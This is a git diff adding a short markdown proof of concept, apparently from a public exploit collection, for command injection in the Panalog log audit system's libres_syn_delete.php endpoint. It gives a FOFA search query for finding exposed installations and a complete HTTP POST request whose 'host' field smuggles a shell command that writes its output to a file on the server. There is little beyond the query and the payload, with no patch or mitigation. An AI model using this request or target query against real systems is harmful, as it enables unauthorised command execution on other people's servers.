diff --git a/Panalog大数据日志审计系统libres_syn_delete.php存在命令执行.md b/Panalog大数据日志审计系统libres_syn_delete.php存在命令执行.md new file mode 100644 index 0000000..cf85458 --- /dev/null +++ b/Panalog大数据日志审计系统libres_syn_delete.php存在命令执行.md @@ -0,0 +1,24 @@ +## Panalog大数据日志审计系统libres_syn_delete.php存在命令执行 + + +## fofa +``` +app="Panabit-Panalog" +``` + +## poc +``` +POST /content-apply/libres_syn_delete.php HTTP/1.1 +Host: +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) +Content-Length: 54 +Accept: */* +Accept-Encoding: gzip, deflate +Connection: close +Content-Type: application/x-www-form-urlencoded + +token=1&id=2&host=|id >2cWKiiWovWYAIcNUBPkZph4xPLs.txt +``` +![image](https://github.com/wy876/POC/assets/139549762/44588f4b-2c3a-45c6-bc27-951795c2d64b) + +![image](https://github.com/wy876/POC/assets/139549762/90d69ec6-1058-4563-b02f-0721a1c68e8f)